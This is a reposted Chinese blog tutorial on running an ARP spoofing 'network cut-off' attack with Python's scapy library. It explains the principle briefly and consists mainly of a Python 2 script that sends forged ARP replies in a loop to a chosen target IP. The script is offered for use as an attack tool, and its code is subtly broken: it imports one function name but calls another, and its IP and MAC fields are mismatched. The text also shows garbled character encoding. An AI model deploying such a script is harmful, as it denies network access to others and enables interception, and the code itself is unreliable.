python指定进程断网_python通过scapy模块进行arp断网攻击
前言:
想實現(xiàn)像arpsoof一樣的工具
arp斷網(wǎng)攻擊原理:
通過偽造IP地址與MAC地址實現(xiàn)ARP欺騙,在網(wǎng)絡(luò)發(fā)送大量ARP通信量。攻擊者
只要持續(xù)不斷發(fā)送arp包就能造成中間人攻擊或者斷網(wǎng)攻擊。
0x01:
準(zhǔn)備工作
Linux環(huán)境下:(windows環(huán)境下各種錯誤,其中有個錯誤是缺少windows.dll至今無法解決)
有scapy模塊
如果沒有進(jìn)行安裝
py2安裝方法
pip install scapy
py3安裝方法
pip install scapy3
我們要用到scapy模塊里的
from scapy.all import (
ARP,
Ether,
sendp
)
from scapy.l2 import getmacip
Ether是構(gòu)造網(wǎng)絡(luò)數(shù)據(jù)包
ARP進(jìn)行ARP攻擊
sendp進(jìn)行發(fā)包
代碼如下:
import os
from scapy.l2 import getmacip
from scapy.all import (
ARP,
Ether,
sendp
)
ifconfig=os.system('ifconfig')
print ifconfig
gmac=raw_input('Please enter gateway IP:')
liusheng=raw_input('Please enter your IP:')
liusrc=raw_input('Please enter target IP:')
try:
tg=getmacbyip(liusrc)
print tg
except Exception , f:
print '[-]{}'.format(f)
exit()
def arpspoof():
try:
eth=Ether()
arp=ARP(
op="is-at",#ARP響應(yīng)
hwsrc=gmac,#網(wǎng)關(guān)mac
psrc=liusheng,#網(wǎng)關(guān)IP
hwdst=tg,#目標(biāo)Mac
pdst=liusrc#目標(biāo)IP
)
print ((eth/arp).show())
sendp(eth/arp,inter=2,loop=1)
except Exception ,g:
print '[-]{}'.format(g)
exit()
arpspoof()
運行截圖
效果圖
總結(jié)
以上是生活随笔為你收集整理的python指定进程断网_python通过scapy模块进行arp断网攻击的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 空间金字塔池化_回顾语义分割—Dense
- 下一篇: opcua客户端实现断线重连_虹科教您|